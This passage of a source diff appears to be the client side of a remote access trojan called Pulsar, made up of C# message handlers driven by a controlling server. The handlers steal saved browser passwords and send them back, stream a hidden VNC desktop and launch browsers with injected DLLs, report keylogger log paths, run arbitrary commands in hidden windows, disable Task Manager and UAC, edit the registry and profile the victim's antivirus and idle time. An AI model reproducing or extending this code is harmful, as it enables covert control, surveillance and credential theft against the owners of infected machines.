private readonly ConcurrentQueue<byte[]> _frameBuffer = new ConcurrentQueue<byte[]>();
private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false);
private int _pendingFrameRequests = 0;
//fps counting
private int _framesSent = 0;
private float _currentFps = 0f;
// max buffer size to prevent memory issues
private const int MAX_BUFFER_SIZE = 10;
private readonly Stopwatch _stopwatch = new Stopwatch();
public bool CanExecute(IMessage message)
{
return message is GetHVNCDesktop || message is DoHVNCInput || message is StartHVNCProcess || message is GetHVNCMonitors;
}
public bool CanExecuteFrom(ISender sender)
{
return true;
}
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetHVNCDesktop getDesktop:
Execute(sender, getDesktop);
break;
case DoHVNCInput doInput:
InputHandler.Input(doInput.msg, (IntPtr)doInput.wParam, (IntPtr)doInput.lParam);
break;
case StartHVNCProcess startHVNCProcess:
_ = ExecuteAsync(sender, startHVNCProcess);
break;
case GetHVNCMonitors _:
Execute(sender);
break;
}
}
private void Execute(ISender client, GetHVNCDesktop message)
{
if (message.Status == RemoteDesktopStatus.Stop)
{
StopScreenStreaming();
}
else if (message.Status == RemoteDesktopStatus.Start)
{
StartScreenStreaming(client, message);
}
else if (message.Status == RemoteDesktopStatus.Continue)
{
Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested);
_frameRequestEvent.Set();
}
}
private void StartScreenStreaming(ISender client, GetHVNCDesktop message)
{
var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex);
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
if (_streamCodec == null)
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
if (message.CreateNew)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
_clientMain = client;
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested);
if (_captureThread == null || !_captureThread.IsAlive)
{
_cancellationTokenSource = new CancellationTokenSource();
_captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token, message.DisplayIndex))
{
IsBackground = true,
Name = "HVNC Capture Loop"
};
_captureThread.Start();
}
}
private void StopScreenStreaming()
{
_cancellationTokenSource?.Cancel();
if (_captureThread != null && _captureThread.IsAlive)
{
_frameRequestEvent.Set();
_captureThread.Join();
_captureThread = null;
}
if (_desktop != null)
{
if (_desktopData != null)
{
try
{
_desktop.UnlockBits(_desktopData);
}
catch
{
}
_desktopData = null;
}
_desktop.Dispose();
_desktop = null;
}
if (_streamCodec != null)
{
_streamCodec.Dispose();
_streamCodec = null;
}
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, 0);
}
private void BufferedCaptureLoop(CancellationToken cancellationToken, int displayIndex)
{
_stopwatch.Start();
while (!cancellationToken.IsCancellationRequested)
{
try
{
if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0)
{
_frameRequestEvent.WaitOne(500);
if (cancellationToken.IsCancellationRequested)
break;
continue;
}
byte[] frameData = CaptureFrame(displayIndex);
if (frameData != null)
{
_frameBuffer.Enqueue(frameData);
_framesSent++;
if (_stopwatch.ElapsedMilliseconds >= 1000)
{
_currentFps = _framesSent / (_stopwatch.ElapsedMilliseconds / 1000f);
_framesSent = 0;
_stopwatch.Restart();
}
}
while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend))
{
SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0);
}
}
catch (Exception)
{
Thread.Sleep(100);
}
}
}
private byte[] CaptureFrame(int displayIndex)
{
try
{
_desktop = ImageHandler.Screenshot(displayIndex);
if (_desktop == null)
{
return null;
}
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
Bitmap processedBitmap = _desktop;
if (_desktop.PixelFormat != codecPixelFormat)
{
try
{
processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat);
using (Graphics g = Graphics.FromImage(processedBitmap))
{
g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height);
}
_desktop.Dispose();
_desktop = processedBitmap;
}
catch (Exception ex)
{
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
// Continue with original bitmap if conversion fails
processedBitmap = _desktop;
}
}
_desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
using (MemoryStream stream = new MemoryStream())
{
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
_streamCodec.CodeImage(_desktopData.Scan0,
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
new Size(processedBitmap.Width, processedBitmap.Height),
processedBitmap.PixelFormat, stream);
return stream.ToArray();
}
}
catch (Exception)
{
return null;
}
finally
{
if (_desktopData != null)
{
_desktop.UnlockBits(_desktopData);
_desktopData = null;
}
_desktop?.Dispose();
_desktop = null;
}
}
private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame)
{
if (frameData == null || _clientMain == null) return;
try
{
_clientMain.Send(new GetHVNCDesktopResponse
{
Image = frameData,
Quality = _streamCodec.ImageQuality,
Monitor = _streamCodec.Monitor,
Resolution = _streamCodec.Resolution,
Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(),
IsLastRequestedFrame = isLastRequestedFrame,
Fps = _currentFps
});
}
catch (Exception)
{
}
}
private void ClearFrameBuffer()
{
while (_frameBuffer.TryDequeue(out _)) { }
}
private async Task ExecuteAsync(ISender client, StartHVNCProcess message)
{
try
{
string name = message.Path;
bool dontCloneProfile = message.DontCloneProfile;
byte[] dllBytes = message.DllBytes;
var browserPaths = new Dictionary<string, string>
{
{ "Chrome", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Google\\Chrome\\Application\\chrome.exe" },
{ "Edge", Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") + "\\Microsoft\\Edge\\Application\\msedge.exe" },
{ "Brave", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" },
{ "Opera", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera\\opera.exe" },
{ "OperaGX", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera GX\\opera.exe" },
{ "Mozilla", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe" }
};
if (dontCloneProfile && browserPaths.TryGetValue(name, out string executablePath) && File.Exists(executablePath))
{
string browserProcess = name.ToLower().Replace("mozilla", "firefox").Replace("edge", "msedge").Replace("operagx", "opera");
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {browserProcess}.exe /F";
Debug.WriteLine(killCommand);
ProcessHandler.CreateProc(killCommand);
await Task.Delay(1000).ConfigureAwait(false);
Debug.WriteLine($"Direct starting browser: {executablePath}");
ProcessHandler.CreateProc(executablePath);
return;
}
switch (name)
{
case "GenericChromium":
await ProcessHandler.StartGenericChromiumAsync(
dllBytes,
message.CustomBrowserPath,
message.CustomSearchPattern,
message.CustomReplacementPath
).ConfigureAwait(false);
break;
case "Chrome":
await ProcessHandler.StartChromeAsync(dllBytes).ConfigureAwait(false);
break;
case "Edge":
await ProcessHandler.StartEdgeAsync(dllBytes).ConfigureAwait(false);
break;
case "Brave":
await ProcessHandler.StartBraveAsync(dllBytes).ConfigureAwait(false);
break;
case "Opera":
await ProcessHandler.StartOperaAsync(dllBytes).ConfigureAwait(false);
break;
case "OperaGX":
await ProcessHandler.StartOperaGXAsync(dllBytes).ConfigureAwait(false);
break;
case "Explorer":
ProcessHandler.StartExplorer();
break;
case "Cmd":
ProcessHandler.StartCmd();
break;
case "Powershell":
ProcessHandler.StartPowershell();
break;
case "Mozilla":
await ProcessHandler.StartFirefoxAsync().ConfigureAwait(false);
break;
case "Discord":
ProcessHandler.StartDiscord();
break;
default:
ProcessHandler.StartGeneric(name);
break;
}
}
catch (Exception ex)
{
Debug.WriteLine($"HVNC process start failed: {ex.Message}");
}
}
private void Execute(ISender client)
{
int monitorCount = ImageHandler.GetMonitorCount();
Debug.WriteLine($"HVNC: Sending monitor count: {monitorCount}");
client.Send(new GetHVNCMonitorsResponse { Number = monitorCount });
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
Debug.WriteLine("HVNC Handler Disposed");
StopScreenStreaming();
ImageHandler.Dispose();
InputHandler.Dispose();
_streamCodec?.Dispose();
_cancellationTokenSource?.Dispose();
_frameRequestEvent?.Dispose();
}
}
}
}
@@ -0,0 +1,30 @@
using Pulsar.Client.Config;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.KeyLogger;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
namespace Pulsar.Client.Messages
{
public class KeyloggerHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetKeyloggerLogsDirectory msg:
Execute(sender, msg);
break;
}
}
public void Execute(ISender client, GetKeyloggerLogsDirectory message)
{
client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH });
}
}
}
@@ -0,0 +1,57 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.UserSupport.MessageBox;
using Pulsar.Common.Networking;
using System;
using System.Threading;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class MessageBoxHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoShowMessageBox;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoShowMessageBox msg)
Execute(sender, msg);
}
private void Execute(ISender client, DoShowMessageBox message)
{
new Thread(() =>
{
try
{
var buttons = (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button);
var icon = (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon);
DialogResult result = MessageBox.Show(
message.Text,
message.Caption,
buttons,
icon,
MessageBoxDefaultButton.Button1,
MessageBoxOptions.DefaultDesktopOnly);
// Send which button the user clicked
client.Send(new SetStatus
{
Message = $"MessageBox result: {result}"
});
}
catch (Exception ex)
{
client.Send(new SetStatus
{
Message = $"Error showing MessageBox: {ex.Message}"
});
}
})
{ IsBackground = true }.Start();
}
}
}
@@ -0,0 +1,11 @@
using Pulsar.Common.Messages;
namespace Pulsar.Client.Messages
{
public abstract class NotificationMessageProcessor : MessageProcessorBase<string>
{
protected NotificationMessageProcessor() : base(true)
{
}
}
}
@@ -0,0 +1,120 @@
using Pulsar.Client.Recovery;
using Pulsar.Client.Recovery.Browsers;
using Pulsar.Client.Recovery.Crawler;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.Passwords;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
//public struct BrowserChromium
//{
// public string Name;
// public string Path;
// public string LocalState;
// public ProfileChromium[] Profiles;
//}
//public struct ProfileChromium
//{
// public string Name;
// public string LoginData;
// public string Path;
//}
//public struct BrowserGecko
//{
// public string Name;
// public string Path;
// public string Key4;
// public string Logins;
//}
namespace Pulsar.Client.Messages
{
public class PasswordRecoveryHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetPasswords;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetPasswords msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetPasswords message)
{
List<RecoveredAccount> recovered = new List<RecoveredAccount>();
//var passReaders = new IAccountReader[]
//{
// new BravePassReader(),
// new ChromePassReader(),
// new OperaPassReader(),
// new OperaGXPassReader(),
// new EdgePassReader(),
// new YandexPassReader(),
// new FirefoxPassReader(),
// new InternetExplorerPassReader(),
// new FileZillaPassReader(),
// new WinScpPassReader()
//};
//foreach (var passReader in passReaders)
//{
// try
// {
// recovered.AddRange(passReader.ReadAccounts());
// }
// catch (Exception e)
// {
// Debug.WriteLine(e);
// }
//}
List<Recovery.Browsers.AllBrowsers> browsers = Crawl.Start();
foreach (var browser in browsers)
{
foreach (var chromium in browser.Chromium)
{
foreach (var profile in chromium.Profiles)
{
try
{
recovered.AddRange(ChromiumBase.ReadAccounts(profile.LoginData, chromium.LocalState, chromium.Name));
}
catch (Exception e)
{
Debug.WriteLine(e);
}
}
}
foreach (var gecko in browser.Gecko)
{
try
{
recovered.AddRange(FirefoxPassReader.ReadAccounts(gecko.ProfilesDir, gecko.Name));
}
catch (Exception e)
{
Debug.WriteLine(e);
}
//Debug.WriteLine(gecko.Path);
}
}
client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered });
}
}
}
+37
View File
@@ -0,0 +1,37 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Diagnostics;
namespace Pulsar.Client.Messages
{
/// <summary>
/// Handles ping requests from the server.
/// </summary>
public class PingHandler : IMessageProcessor
{
/// <inheritdoc />
public bool CanExecute(IMessage message) => message is PingRequest;
/// <inheritdoc />
public bool CanExecuteFrom(ISender sender) => true;
/// <inheritdoc />
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case PingRequest pingRequest:
Execute(sender, pingRequest);
break;
}
}
private void Execute(ISender client, PingRequest message)
{
// respond fast ash
client.Send(new PingResponse());
}
}
}
+160
View File
@@ -0,0 +1,160 @@
using Pulsar.Client.Helper;
using Pulsar.Client.IO;
using Pulsar.Client.User;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.Preview;
using Pulsar.Common.Networking;
using Pulsar.Common.Video;
using Pulsar.Common.Video.Codecs;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
namespace Pulsar.Client.Messages
{
public class PreviewHandler : NotificationMessageProcessor, IDisposable
{
private UnsafeStreamCodec _streamCodec;
private BitmapData _desktopData = null;
private Bitmap _desktop = null;
private int _displayIndex = 0;
private ISender _clientMain;
public override bool CanExecute(IMessage message) => message is GetPreviewImage;
public override bool CanExecuteFrom(ISender sender) => true;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetPreviewImage msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetPreviewImage message)
{
Debug.WriteLine("Capturing single desktop image");
_displayIndex = message.DisplayIndex;
_clientMain = client;
var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex);
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
if (_streamCodec == null)
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
CaptureAndSendScreen();
}
private void CaptureAndSendScreen()
{
try
{
_desktop = ScreenHelperCPU.CaptureScreen(_displayIndex, true);
if (_desktop == null)
{
Debug.WriteLine("Error capturing screen: Bitmap is null");
return;
}
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
Bitmap processedBitmap = _desktop;
if (_desktop.PixelFormat != codecPixelFormat)
{
try
{
processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat);
using (Graphics g = Graphics.FromImage(processedBitmap))
{
g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height);
}
_desktop.Dispose();
_desktop = processedBitmap;
}
catch (Exception ex)
{
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
processedBitmap = _desktop;
}
}
_desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
using (MemoryStream stream = new MemoryStream())
{
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
_streamCodec.CodeImage(_desktopData.Scan0,
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
new Size(processedBitmap.Width, processedBitmap.Height),
processedBitmap.PixelFormat, stream);
_clientMain.Send(new GetPreviewResponse
{
Image = stream.ToArray(),
Quality = _streamCodec.ImageQuality,
Monitor = _streamCodec.Monitor,
Resolution = _streamCodec.Resolution,
CPU = HardwareDevices.CpuName,
GPU = HardwareDevices.GpuNames,
RAM = HardwareDevices.TotalPhysicalMemory.ToString(),
Uptime = SystemHelper.GetUptime(),
AV = SystemHelper.GetAntivirus(),
MainBrowser = SystemHelper.GetDefaultBrowser(),
HasWebcam = (WebcamHelper.GetWebcams()?.Length > 0),
AFKTime = ActivityDetection.UserIdleTime().ToString()
});
_streamCodec = null;
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error capturing screen: {ex.Message}");
}
finally
{
if (_desktopData != null)
{
_desktop.UnlockBits(_desktopData);
_desktopData = null;
}
_desktop?.Dispose();
_desktop = null;
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_streamCodec?.Dispose();
}
}
}
}
+100
View File
@@ -0,0 +1,100 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.Monitoring.Query;
using Pulsar.Common.Models.Query.Browsers;
using Pulsar.Common.Messages.Monitoring.Query.Browsers;
namespace Pulsar.Client.Messages
{
class QueryHandler
{
public bool CanExecute(IMessage message) => message is GetBrowsers;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetBrowsers msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetBrowsers message)
{
// get the browsers on the users computer
var browsers = new List<QueryBrowsers>();
using (var hklmKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet"))
{
if (hklmKey != null)
{
foreach (var browserKey in hklmKey.GetSubKeyNames())
{
using (var browserProps = hklmKey.OpenSubKey(browserKey))
{
var browserName = browserProps?.GetValue(null)?.ToString();
using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command"))
{
var command = commandProps?.GetValue(null)?.ToString();
var exePath = GetExecutablePath(command);
if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath))
{
browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath });
}
}
}
}
}
}
using (var hkcuKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet"))
{
if (hkcuKey != null)
{
foreach (var browserKey in hkcuKey.GetSubKeyNames())
{
using (var browserProps = hkcuKey.OpenSubKey(browserKey))
{
var browserName = browserProps?.GetValue(null)?.ToString();
using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command"))
{
var command = commandProps?.GetValue(null)?.ToString();
var exePath = GetExecutablePath(command);
if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath))
{
browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath });
}
}
}
}
}
}
// remove dups
browsers = browsers.GroupBy(b => b.Browser).Select(g => g.First()).ToList();
client.Send(new GetBrowsersResponse { QueryBrowsers = browsers });
}
private string GetExecutablePath(string command)
{
if (string.IsNullOrEmpty(command))
{
return null;
}
var match = System.Text.RegularExpressions.Regex.Match(command, @"(?<path>""[^""]+\.exe""|\S+\.exe)");
return match.Success ? match.Groups["path"].Value.Trim('"') : null;
}
}
}
@@ -0,0 +1,84 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.QuickCommands;
using System.Diagnostics;
using Pulsar.Client.Helper.TaskManager;
using Pulsar.Client.Helper.UAC;
namespace Pulsar.Client.Messages
{
public class QuickCommandHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoSendQuickCommand || message is DoEnableTaskManager || message is DoDisableTaskManager || message is DoDisableUAC || message is DoEnableUAC;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoSendQuickCommand msg:
Execute(sender, msg);
break;
case DoEnableTaskManager msg:
Execute(sender, msg);
break;
case DoDisableTaskManager msg:
Execute(sender, msg);
break;
case DoDisableUAC msg:
Execute(sender, msg);
break;
case DoEnableUAC msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoSendQuickCommand message)
{
client.Send(new SetStatus { Message = "Successful Quick Command" });
Debug.WriteLine(message.Host + " " + message.Command);
//execute a new powershell with the command
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.FileName = message.Host;
startInfo.Arguments = message.Command;
process.StartInfo = startInfo;
process.Start();
}
private void Execute(ISender client, DoEnableTaskManager message)
{
client.Send(new SetStatus { Message = "Task Manager Enabled" });
TaskManager.Enable();
}
private void Execute(ISender client, DoDisableTaskManager message)
{
client.Send(new SetStatus { Message = "Task Manager Disabled" });
TaskManager.Disable();
}
private void Execute(ISender client, DoDisableUAC message)
{
client.Send(new SetStatus { Message = "UAC Disabled. Requires Restart" });
UACToggle.DisableUAC();
}
private void Execute(ISender client, DoEnableUAC message)
{
client.Send(new SetStatus { Message = "UAC Enabled. Requires Restart" });
UACToggle.EnableUAC();
}
}
}
+230
View File
@@ -0,0 +1,230 @@
using Pulsar.Client.Extensions;
using Pulsar.Client.Helper;
using Pulsar.Client.Registry;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.RegistryEditor;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
namespace Pulsar.Client.Messages
{
public class RegistryHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoLoadRegistryKey ||
message is DoCreateRegistryKey ||
message is DoDeleteRegistryKey ||
message is DoRenameRegistryKey ||
message is DoCreateRegistryValue ||
message is DoDeleteRegistryValue ||
message is DoRenameRegistryValue ||
message is DoChangeRegistryValue;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoLoadRegistryKey msg:
Execute(sender, msg);
break;
case DoCreateRegistryKey msg:
Execute(sender, msg);
break;
case DoDeleteRegistryKey msg:
Execute(sender, msg);
break;
case DoRenameRegistryKey msg:
Execute(sender, msg);
break;
case DoCreateRegistryValue msg:
Execute(sender, msg);
break;
case DoDeleteRegistryValue msg:
Execute(sender, msg);
break;
case DoRenameRegistryValue msg:
Execute(sender, msg);
break;
case DoChangeRegistryValue msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoLoadRegistryKey message)
{
GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse();
try
{
RegistrySeeker seeker = new RegistrySeeker();
seeker.BeginSeeking(message.RootKeyName);
responsePacket.Matches = seeker.Matches;
responsePacket.IsError = false;
}
catch (Exception e)
{
responsePacket.IsError = true;
responsePacket.ErrorMsg = e.Message;
}
responsePacket.RootKey = message.RootKeyName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoCreateRegistryKey message)
{
GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse();
string errorMsg;
string newKeyName = "";
try
{
responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.Match = new RegSeekerMatch
{
Key = newKeyName,
Data = RegistryKeyHelper.GetDefaultValues(),
HasSubKeys = false
};
responsePacket.ParentPath = message.ParentPath;
client.Send(responsePacket);
}
private void Execute(ISender client, DoDeleteRegistryKey message)
{
GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ParentPath = message.ParentPath;
responsePacket.KeyName = message.KeyName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoRenameRegistryKey message)
{
GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ParentPath = message.ParentPath;
responsePacket.OldKeyName = message.OldKeyName;
responsePacket.NewKeyName = message.NewKeyName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoCreateRegistryValue message)
{
GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse();
string errorMsg;
string newKeyName = "";
try
{
responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault());
responsePacket.KeyPath = message.KeyPath;
client.Send(responsePacket);
}
private void Execute(ISender client, DoDeleteRegistryValue message)
{
GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.ValueName = message.ValueName;
responsePacket.KeyPath = message.KeyPath;
client.Send(responsePacket);
}
private void Execute(ISender client, DoRenameRegistryValue message)
{
GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.KeyPath = message.KeyPath;
responsePacket.OldValueName = message.OldValueName;
responsePacket.NewValueName = message.NewValueName;
client.Send(responsePacket);
}
private void Execute(ISender client, DoChangeRegistryValue message)
{
GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse();
string errorMsg;
try
{
responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.KeyPath = message.KeyPath;
responsePacket.Value = message.Value;
client.Send(responsePacket);
}
}
}
+111
View File
@@ -0,0 +1,111 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.UserSupport.RemoteChat;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Threading;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class RemoteChatHandler : IMessageProcessor
{
private static Thread _chatThread;
public bool CanExecute(IMessage message) => message is DoChat || message is DoKillChatForm || message is DoStartChatForm || message is DoChatAction;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoChat Msg:
HandleDoChatMessage(sender, Msg);
break;
case DoStartChatForm Msg:
HandleDoChatStart(sender, Msg);
break;
case DoKillChatForm Msg:
HandleDoChatStop(sender, Msg);
break;
case DoChatAction Msg:
HandleChatAction(sender, Msg);
break;
}
}
public void HandleChatAction(ISender sender, DoChatAction msg)
{
var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"];
if (frmChat != null)
{
frmChat.Invoke((MethodInvoker)delegate
{
frmChat.txtMessages.Clear();
});
}
}
public static void HandleDoChatStart(ISender client, DoStartChatForm getChat)
{
if (_chatThread != null && _chatThread.IsAlive)
return;
_chatThread = new Thread(() =>
{
var frmChat = new FrmRemoteChat(client);
frmChat.Text = getChat.Title;
frmChat.txtMessages.Text = getChat.WelcomeMessage;
if (getChat.DisableClose == true)
{
frmChat.ControlBox = false;
}
frmChat.txtMessage.Enabled = getChat.DisableType;
Application.Run(frmChat);
frmChat.TopMost = getChat.TopMost;
frmChat.BringToFront();
});
_chatThread.SetApartmentState(ApartmentState.STA);
_chatThread.Start();
}
public static void HandleDoChatMessage(ISender client, DoChat packet)
{
var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"];
if (frmChat != null)
{
frmChat.Invoke((MethodInvoker)delegate
{
frmChat.AddMessage(packet.User, packet.PacketDms);
});
}
}
public static void HandleDoChatStop(ISender client, DoKillChatForm packet)
{
var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"];
if (frmChat != null)
{
frmChat.Invoke((MethodInvoker)delegate
{
frmChat.Active = false;
frmChat.Close();
});
}
